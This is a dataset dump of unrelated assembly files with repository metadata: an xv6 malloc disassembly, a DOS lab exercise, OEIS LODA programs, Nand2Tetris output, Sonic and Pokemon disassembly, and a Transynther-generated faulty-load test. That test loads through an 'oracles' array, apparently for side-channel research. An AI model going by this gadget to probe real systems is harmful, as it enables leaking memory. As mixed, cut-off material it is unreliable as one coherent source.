a85: eb 3b jmp ac2 <malloc+0xe1>
}
if(p == freep)
a87: a1 08 0e 00 00 mov 0xe08,%eax
a8c: 39 45 f4 cmp %eax,-0xc(%ebp)
a8f: 75 1e jne aaf <malloc+0xce>
if((p = morecore(nunits)) == 0)
a91: 83 ec 0c sub $0xc,%esp
a94: ff 75 ec pushl -0x14(%ebp)
a97: e8 e5 fe ff ff call 981 <morecore>
a9c: 83 c4 10 add $0x10,%esp
a9f: 89 45 f4 mov %eax,-0xc(%ebp)
aa2: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
aa6: 75 07 jne aaf <malloc+0xce>
return 0;
aa8: b8 00 00 00 00 mov $0x0,%eax
aad: eb 13 jmp ac2 <malloc+0xe1>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
aaf: 8b 45 f4 mov -0xc(%ebp),%eax
ab2: 89 45 f0 mov %eax,-0x10(%ebp)
ab5: 8b 45 f4 mov -0xc(%ebp),%eax
ab8: 8b 00 mov (%eax),%eax
aba: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
abd: e9 6d ff ff ff jmp a2f <malloc+0x4e>
}
ac2: c9 leave
ac3: c3 ret
| 35.053239 | 60 | 0.422779 |
48768229aabb87fcbaf1e35d6a3d5cd3adc67919 | 790 | asm | Assembly | ssu-sys-programming/src/lab3/task1.asm | Imperat/SSU-Information-Security-Course | 24c04cb8b4da0231d65d587e981e15b1fefc19eb | [
"Apache-2.0"
] | null | null | null | ssu-sys-programming/src/lab3/task1.asm | Imperat/SSU-Information-Security-Course | 24c04cb8b4da0231d65d587e981e15b1fefc19eb | [
"Apache-2.0"
] | null | null | null | ssu-sys-programming/src/lab3/task1.asm | Imperat/SSU-Information-Security-Course | 24c04cb8b4da0231d65d587e981e15b1fefc19eb | [
"Apache-2.0"
] | null | null | null | .model small
.stack 100h
.data
result db ' $'
newline db 0Ah, 0Dh, '$'
.code
; Вывод символа из dl
printd proc
push ax
mov ah, 02h
add dl, 48
cmp dl, 39h
jle _lbl1
add dl, 07
_lbl1: int 21h
pop ax
ret
printd endp
toasc proc
; Заносим цифры числа поочередно в стек
xor cx, cx
mov bx, 10
xor dx, dx
_lbl2: div bx
push dx
xor dx, dx
inc cx
cmp ax, 00h
jne _lbl2
mov si, 0
_lbl3: pop dx
;call printd
push ax
add dl, 48
cmp dl, 39h
jle _lbl4
add dl, 07
_lbl4: mov result[si], dl
pop ax
inc si
loop _lbl3
ret
toasc endp
start: mov ax, @data
mov ds, ax
mov ax, 12
call toasc
mov ah, 09h
mov dx, offset result
int 21h
mov dx, offset newline
int 21h
mov ax, 4c00h ;Завершение работы программы
int 21h
end start | 12.153846 | 43 | 0.641772 |
8afbec2d19d4089ded8b3f6192875e10d69d84e9 | 532 | asm | Assembly | programs/oeis/140/A140435.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/140/A140435.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/140/A140435.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A140435: Number of new lattice points created at each step in an n X n grid that are not visible.
; 0,1,1,3,1,7,1,7,5,11,1,15,1,15,13,15,1,23,1,23,17,23,1,31,9,27,17,31,1,43,1,31,25,35,21,47,1,39,29,47,1,59,1,47,41,47,1,63,13,59,37,55,1,71,29,63,41,59,1,87,1,63,53,63,33,91,1,71,49,91,1,95,1,75,69,79,33,107,1,95,53
mov $1,$0
cal $0,10 ; Euler totient function phi(n): count numbers <= n and prime to n.
sub $0,$1
mov $2,$0
trn $0,18
sub $2,1
sub $0,$2
mul $0,2
add $0,$2
mul $0,2
mov $3,$0
cmp $3,0
add $0,$3
mov $1,$0
sub $1,1
| 28 | 217 | 0.631579 |
6f8b3542f96b3ae1c1d9ec5e8b56aa4441e43294 | 670 | asm | Assembly | oeis/001/A001907.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/001/A001907.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/001/A001907.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A001907: Expansion of e.g.f. exp(-x)/(1-4*x).
; Submitted by Jamie Morken(s3)
; 1,3,25,299,4785,95699,2296777,64309755,2057912161,74084837795,2963393511801,130389314519243,6258687096923665,325451729040030579,18225296826241712425,1093517809574502745499,69985139812768175711937,4758989507268235948411715,342647244523312988285643481,26041190583771787109708904555,2083295246701742968776712364401,174996800722946409377243838609683,15399718463619284025197457797652105,1416774098652974130318166117383993659,136010313470685516510543947268863391265
mul $0,2
add $0,2
mov $1,$0
mov $2,1
lpb $0,2
sub $1,2
mul $2,2
sub $3,$2
mul $2,$1
gcd $3,$4
lpe
mov $0,$3
div $0,2
| 37.222222 | 461 | 0.820896 |
769c8fd4a5a779b31873b2c51dd7d77f73525078 | 2,694 | asm | Assembly | projects/07/StackArithmetic/StackTest/StackTest.asm | danibachar/Nand2Tetris | fdce0e87a4869213f3eeb0004ba2af688ea1b1cc | [
"MIT"
] | null | null | null | projects/07/StackArithmetic/StackTest/StackTest.asm | danibachar/Nand2Tetris | fdce0e87a4869213f3eeb0004ba2af688ea1b1cc | [
"MIT"
] | null | null | null | projects/07/StackArithmetic/StackTest/StackTest.asm | danibachar/Nand2Tetris | fdce0e87a4869213f3eeb0004ba2af688ea1b1cc | [
"MIT"
] | null | null | null | @17
D=A
@SP
A=M
M=D
@SP
M=M+1
@17
D=A
@SP
A=M
M=D
@SP
M=M+1
@SP
M=M-1
@SP
A=M
D=M
@SP
M=M-1
@SP
A=M
A=M
D=A-D
@SP
A=M
M=D
@SP
M=M+1
@SP
M=M-1
@SP
A=M
D=M
@LABEL1
D;JEQ
@SP
A=M
M=0
@LABEL2
0;JMP
(LABEL1)
@SP
A=M
M=-1
(LABEL2)
@SP
M=M+1
@17
D=A
@SP
A=M
M=D
@SP
M=M+1
@16
D=A
@SP
A=M
M=D
@SP
M=M+1
@SP
M=M-1
@SP
A=M
D=M
@SP
M=M-1
@SP
A=M
A=M
D=A-D
@SP
A=M
M=D
@SP
M=M+1
@SP
M=M-1
@SP
A=M
D=M
@LABEL3
D;JEQ
@SP
A=M
M=0
@LABEL4
0;JMP
(LABEL3)
@SP
A=M
M=-1
(LABEL4)
@SP
M=M+1
@16
D=A
@SP
A=M
M=D
@SP
M=M+1
@17
D=A
@SP
A=M
M=D
@SP
M=M+1
@SP
M=M-1
@SP
A=M
D=M
@SP
M=M-1
@SP
A=M
A=M
D=A-D
@SP
A=M
M=D
@SP
M=M+1
@SP
M=M-1
@SP
A=M
D=M
@LABEL5
D;JEQ
@SP
A=M
M=0
@LABEL6
0;JMP
(LABEL5)
@SP
A=M
M=-1
(LABEL6)
@SP
M=M+1
@892
D=A
@SP
A=M
M=D
@SP
M=M+1
@891
D=A
@SP
A=M
M=D
@SP
M=M+1
@SP
M=M-1
@SP
A=M
D=M
@SP
M=M-1
@SP
A=M
A=M
D=A-D
@SP
A=M
M=D
@SP
M=M+1
@SP
M=M-1
@SP
A=M
D=M
@LABEL7
D;JLT
@SP
A=M
M=0
@LABEL8
0;JMP
(LABEL7)
@SP
A=M
M=-1
(LABEL8)
@SP
M=M+1
@891
D=A
@SP
A=M
M=D
@SP
M=M+1
@892
D=A
@SP
A=M
M=D
@SP
M=M+1
@SP
M=M-1
@SP
A=M
D=M
@SP
M=M-1
@SP
A=M
A=M
D=A-D
@SP
A=M
M=D
@SP
M=M+1
@SP
M=M-1
@SP
A=M
D=M
@LABEL9
D;JLT
@SP
A=M
M=0
@LABEL10
0;JMP
(LABEL9)
@SP
A=M
M=-1
(LABEL10)
@SP
M=M+1
@891
D=A
@SP
A=M
M=D
@SP
M=M+1
@891
D=A
@SP
A=M
M=D
@SP
M=M+1
@SP
M=M-1
@SP
A=M
D=M
@SP
M=M-1
@SP
A=M
A=M
D=A-D
@SP
A=M
M=D
@SP
M=M+1
@SP
M=M-1
@SP
A=M
D=M
@LABEL11
D;JLT
@SP
A=M
M=0
@LABEL12
0;JMP
(LABEL11)
@SP
A=M
M=-1
(LABEL12)
@SP
M=M+1
@32767
D=A
@SP
A=M
M=D
@SP
M=M+1
@32766
D=A
@SP
A=M
M=D
@SP
M=M+1
@SP
M=M-1
@SP
A=M
D=M
@SP
M=M-1
@SP
A=M
A=M
D=A-D
@SP
A=M
M=D
@SP
M=M+1
@SP
M=M-1
@SP
A=M
D=M
@LABEL13
D;JGT
@SP
A=M
M=0
@LABEL14
0;JMP
(LABEL13)
@SP
A=M
M=-1
(LABEL14)
@SP
M=M+1
@32766
D=A
@SP
A=M
M=D
@SP
M=M+1
@32767
D=A
@SP
A=M
M=D
@SP
M=M+1
@SP
M=M-1
@SP
A=M
D=M
@SP
M=M-1
@SP
A=M
A=M
D=A-D
@SP
A=M
M=D
@SP
M=M+1
@SP
M=M-1
@SP
A=M
D=M
@LABEL15
D;JGT
@SP
A=M
M=0
@LABEL16
0;JMP
(LABEL15)
@SP
A=M
M=-1
(LABEL16)
@SP
M=M+1
@32766
D=A
@SP
A=M
M=D
@SP
M=M+1
@32766
D=A
@SP
A=M
M=D
@SP
M=M+1
@SP
M=M-1
@SP
A=M
D=M
@SP
M=M-1
@SP
A=M
A=M
D=A-D
@SP
A=M
M=D
@SP
M=M+1
@SP
M=M-1
@SP
A=M
D=M
@LABEL17
D;JGT
@SP
A=M
M=0
@LABEL18
0;JMP
(LABEL17)
@SP
A=M
M=-1
(LABEL18)
@SP
M=M+1
@57
D=A
@SP
A=M
M=D
@SP
M=M+1
@31
D=A
@SP
A=M
M=D
@SP
M=M+1
@53
D=A
@SP
A=M
M=D
@SP
M=M+1
@SP
M=M-1
@SP
A=M
D=M
@SP
M=M-1
@SP
A=M
A=M
D=D+A
@SP
A=M
M=D
@SP
M=M+1
@112
D=A
@SP
A=M
M=D
@SP
M=M+1
@SP
M=M-1
@SP
A=M
D=M
@SP
M=M-1
@SP
A=M
A=M
D=A-D
@SP
A=M
M=D
@SP
M=M+1
@SP
M=M-1
@SP
A=M
D=M
D=-D
@SP
A=M
M=D
@SP
M=M+1
@SP
M=M-1
@SP
A=M
D=M
@SP
M=M-1
@SP
A=M
A=M
D=D&A
@SP
A=M
M=D
@SP
M=M+1
@82
D=A
@SP
A=M
M=D
@SP
M=M+1
@SP
M=M-1
@SP
A=M
D=M
@SP
M=M-1
@SP
A=M
A=M
D=D|A
@SP
A=M
M=D
@SP
M=M+1
@SP
M=M-1
@SP
A=M
D=M
D=!D
@SP
A=M
M=D
@SP
M=M+1
| 4.78508 | 9 | 0.536006 |
f0855ba056b2d34939087dc83a6f41d82cc35149 | 648 | asm | Assembly | oeis/173/A173033.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/173/A173033.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/173/A173033.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A173033: Second diagonal under the main diagonal in A172119 written in a square (see comment).
; 1,4,12,28,60,124,252,508,1020,2044,4092,8188,16380,32764,65532,131068,262140,524284,1048572,2097148,4194300,8388604,16777212,33554428,67108860,134217724,268435452,536870908,1073741820,2147483644,4294967292,8589934588,17179869180,34359738364,68719476732,137438953468,274877906940,549755813884,1099511627772,2199023255548,4398046511100,8796093022204,17592186044412,35184372088828,70368744177660,140737488355324,281474976710652,562949953421308,1125899906842620,2251799813685244,4503599627370492
mov $1,2
pow $1,$0
mul $1,4
trn $1,5
add $1,1
mov $0,$1
| 64.8 | 493 | 0.844136 |
3200c45ffc38cbcd3dd3bd5e0076890f308ba78f | 434 | asm | Assembly | _incObj/sub RememberState.asm | kodishmediacenter/msu-md-sonic | 3aa7c5e8add9660df2cd0eceaa214e7d59f2415c | [
"CC0-1.0"
] | 9 | 2021-01-15T13:47:53.000Z | 2022-01-17T15:33:55.000Z | _incObj/sub RememberState.asm | kodishmediacenter/msu-md-sonic | 3aa7c5e8add9660df2cd0eceaa214e7d59f2415c | [
"CC0-1.0"
] | 7 | 2021-01-14T02:18:48.000Z | 2021-03-24T15:44:30.000Z | _incObj/sub RememberState.asm | kodishmediacenter/msu-md-sonic | 3aa7c5e8add9660df2cd0eceaa214e7d59f2415c | [
"CC0-1.0"
] | 2 | 2021-01-14T13:14:26.000Z | 2021-01-29T17:46:04.000Z | ; ---------------------------------------------------------------------------
; Subroutine to remember whether an object is destroyed/collected
; ---------------------------------------------------------------------------
RememberState:
out_of_range @offscreen
bra.w DisplaySprite
@offscreen:
lea (v_objstate).w,a2
moveq #0,d0
move.b obRespawnNo(a0),d0
beq.s @delete
bclr #7,2(a2,d0.w)
@delete:
bra.w DeleteObject | 25.529412 | 77 | 0.465438 |
2ceca81e0c261641d11caebda1563c2618b0df1b | 3,408 | asm | Assembly | savefile/maps/1E33_GuardPost.asm | stranck/fools2018-1 | 1c506b17343fcdfa708aafaf8e596153e2c63254 | [
"MIT"
] | 35 | 2018-04-01T06:55:28.000Z | 2021-05-09T19:09:42.000Z | savefile/maps/1E33_GuardPost.asm | stranck/fools2018-1 | 1c506b17343fcdfa708aafaf8e596153e2c63254 | [
"MIT"
] | 4 | 2018-04-01T15:32:55.000Z | 2019-02-23T20:46:49.000Z | savefile/maps/1E33_GuardPost.asm | stranck/fools2018-1 | 1c506b17343fcdfa708aafaf8e596153e2c63254 | [
"MIT"
] | 12 | 2018-04-01T15:48:09.000Z | 2021-01-27T10:22:33.000Z | SECTION "Map_1E33", ROM0[$B800]
Map_1E33_Header:
hdr_tileset 0
hdr_dimensions 12, 11
hdr_pointers_a Map_1E33_Blocks, Map_1E33_TextPointers
hdr_pointers_b Map_1E33_Script, Map_1E33_Objects
hdr_pointers_c Map_1E33_InitScript, Map_1E33_RAMScript
hdr_palette $06
hdr_music MUSIC_ROUTES1, AUDIO_1
hdr_connection NORTH, $1D3B, 7, 24
hdr_connection SOUTH, $0000, 0, 0
hdr_connection WEST, $0000, 0, 0
hdr_connection EAST, $1F3A, 1, 7
Map_1E33_Objects:
hdr_border $0b
hdr_warp_count 1
hdr_warp 16, 13, 5, 19, $1E92
hdr_sign_count 0
hdr_object_count 2
hdr_object SPRITE_GUARD, 13, 4, STAY, DOWN, $02
hdr_object SPRITE_LASS, 2, 3, WALK, UP_DOWN, $01
Map_1E33_RAMScript:
rs_write_3 $c6ff, $6d, $7a, $6e
rs_write_3 $c711, $6d, $7a, $6e
rs_fill_byte $51
rs_fill_3 $c72d
rs_fill_byte $52
rs_fill_3 $c73f
rs_fill_byte $0b
rs_fill_3 $c751
rs_fill_byte $7a
rs_fill_3 $c763
rs_fill_byte $0b
rs_fill_3 $c775
rs_end
Map_1E33_Blocks:
db $62,$51,$6d,$7a,$6e,$20,$0d,$21,$51,$51,$51,$51
db $4e,$0a,$6d,$7a,$6e,$37,$7d,$7e,$52,$52,$52,$52
db $4e,$0a,$0a,$7a,$0a,$0a,$0a,$0b,$0b,$0b,$0b,$0b
db $50,$52,$52,$7a,$7a,$7a,$7a,$7a,$7a,$7a,$7a,$7a
db $3e,$3f,$3f,$3b,$1d,$1e,$0b,$0b,$0b,$0b,$0b,$0b
db $28,$2c,$2c,$29,$65,$64,$3e,$3f,$3f,$3f,$3f,$3b
db $28,$2c,$2c,$29,$65,$64,$24,$57,$06,$2a,$2c,$29
db $28,$2c,$2c,$29,$65,$2d,$1e,$31,$31,$28,$2c,$29
db $28,$2c,$2c,$29,$65,$43,$2d,$1f,$1e,$28,$2c,$29
db $28,$2c,$2c,$2c,$3f,$3f,$3f,$3f,$3f,$2c,$2c,$29
db $28,$2c,$2c,$2c,$2c,$2c,$2c,$2c,$2c,$2c,$2c,$29
Map_1E33_TextPointers:
dw Map_1E33_TX1
dw Map_1E33_TX2
Map_1E33_InitScript:
xor a
ld [MapScriptGeneralPurpose], a
ret
Map_1E33_Script:
ld a, [$d361]
cp 13
jr z, .permit
cp 14
jr z, .ign
ret
.permit
ld a, [MapScriptGeneralPurpose]
and a
ret nz
call ScriptEventInOverworld
ret nz
call OpenTextboxInOverworld
ld c, EVENT_GOT_GLITCHLAND_PERMIT
call TestEventFlag
jr c, .hasPermit
ld hl, Map_1E33_NoPermitText
call PrintTextEnhanced
call CloseTextboxInOverworld
ld a, D_LEFT
ld [$ccd3], a
ld a, 1
ld [$cd38], a
jp StartSimulatingJoypadStates
.hasPermit
ld hl, Map_1E33_HasPermitText
call PrintTextEnhanced
call CloseTextboxInOverworld
.ign
ld a, 1
ld [MapScriptGeneralPurpose], a
ret
Map_1E33_TX1:
TX_ASM
jp EnhancedTextOnly
text "I wanted to visit my"
next "friends in Deliria, but"
cont "I don't have a permit..."
para "However, I heard some"
next "shady guy in Northern"
cont "Glitchland is giving out"
cont "forged permits."
para "I think this might be"
next "my only chance to see"
cont "my friends again..."
done
Map_1E33_TX2:
TX_ASM
jp EnhancedTextOnly
Map_1E33_NoPermitText:
text "I'm sorry, but Deliria"
next "is only accessible for"
cont "people with a special"
cont "permit."
wait
Map_1E33_HasPermitText:
text "Oh, you have a permit!"
next "Let me see."
para "Alright! Everything's good."
next "You can enter Deliria now."
cont "Glory to Arstotzka!"
tx_snd SFX_GET_KEY_ITEM
wait
| 26.418605 | 63 | 0.619131 |
b41277aa3dda7412a001f2e94a6ad7bc9b9e7a60 | 6,422 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xca_notsx.log_21829_251.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xca_notsx.log_21829_251.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xca_notsx.log_21829_251.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r8
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x874, %rsi
lea addresses_UC_ht+0x1958c, %rdi
clflush (%rsi)
nop
nop
nop
nop
nop
sub %r8, %r8
mov $91, %rcx
rep movsw
nop
nop
nop
nop
add %r9, %r9
lea addresses_UC_ht+0x1a904, %rsi
lea addresses_A_ht+0x304, %rdi
inc %r10
mov $41, %rcx
rep movsq
xor %rsi, %rsi
lea addresses_D_ht+0xa4f4, %rsi
nop
nop
cmp $62707, %r11
mov $0x6162636465666768, %rdi
movq %rdi, %xmm3
movups %xmm3, (%rsi)
nop
nop
nop
nop
nop
xor %r11, %r11
lea addresses_UC_ht+0x19838, %rsi
lea addresses_A_ht+0x15f80, %rdi
nop
nop
nop
nop
nop
inc %rbp
mov $118, %rcx
rep movsb
sub $33071, %r8
lea addresses_WT_ht+0x1c4f4, %rsi
nop
nop
nop
nop
nop
and $56050, %r9
movb $0x61, (%rsi)
nop
nop
nop
nop
inc %r8
lea addresses_UC_ht+0x10e34, %rsi
lea addresses_D_ht+0x1b934, %rdi
nop
nop
nop
dec %r9
mov $91, %rcx
rep movsq
nop
nop
nop
and %r9, %r9
lea addresses_WC_ht+0x1c1cc, %rsi
lea addresses_normal_ht+0x17494, %rdi
nop
nop
nop
nop
nop
add $53791, %r10
mov $126, %rcx
rep movsq
nop
nop
nop
nop
xor %r10, %r10
lea addresses_UC_ht+0x420f, %rsi
lea addresses_D_ht+0x1ea64, %rdi
nop
nop
nop
and $28836, %r10
mov $68, %rcx
rep movsl
nop
nop
nop
nop
add %r10, %r10
lea addresses_UC_ht+0x1ca74, %rsi
lea addresses_UC_ht+0x2cf4, %rdi
nop
nop
nop
nop
and $46874, %r10
mov $111, %rcx
rep movsb
nop
nop
add $63727, %r11
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r8
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %rax
push %rcx
push %rdi
// Faulty Load
lea addresses_normal+0x1c4f4, %r11
nop
nop
nop
xor %rax, %rax
mov (%r11), %rcx
lea oracles, %r13
and $0xff, %rcx
shlq $12, %rcx
mov (%r13,%rcx,1), %rcx
pop %rdi
pop %rcx
pop %rax
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_normal', 'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_UC_ht'}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 11}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_UC_ht'}, 'dst': {'same': True, 'congruent': 1, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 10}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_D_ht'}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_normal_ht'}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_UC_ht'}, 'dst': {'same': True, 'congruent': 3, 'type': 'addresses_D_ht'}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_UC_ht'}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 36.282486 | 2,999 | 0.664123 |
5459630bea33ba6cbe3f5d201fd945389ed2ae9b | 749 | asm | Assembly | programs/oeis/010/A010021.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/010/A010021.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/010/A010021.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A010021: a(0) = 1, a(n) = 32*n^2 + 2 for n > 0.
; 1,34,130,290,514,802,1154,1570,2050,2594,3202,3874,4610,5410,6274,7202,8194,9250,10370,11554,12802,14114,15490,16930,18434,20002,21634,23330,25090,26914,28802,30754,32770,34850,36994,39202,41474,43810,46210,48674,51202,53794,56450,59170,61954,64802,67714,70690,73730,76834,80002,83234,86530,89890,93314,96802,100354,103970,107650,111394,115202,119074,123010,127010,131074,135202,139394,143650,147970,152354,156802,161314,165890,170530,175234,180002,184834,189730,194690,199714,204802,209954,215170,220450,225794,231202,236674,242210,247810,253474,259202,264994,270850,276770,282754,288802,294914,301090,307330,313634
pow $1,$0
gcd $1,2
mov $3,$0
mul $3,$0
mov $2,$3
mul $2,32
add $1,$2
mov $0,$1
| 62.416667 | 618 | 0.774366 |
a6024857591abcb03509805926a9f56ff1612eb6 | 288 | asm | Assembly | programs/oeis/242/A242181.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/242/A242181.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/242/A242181.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
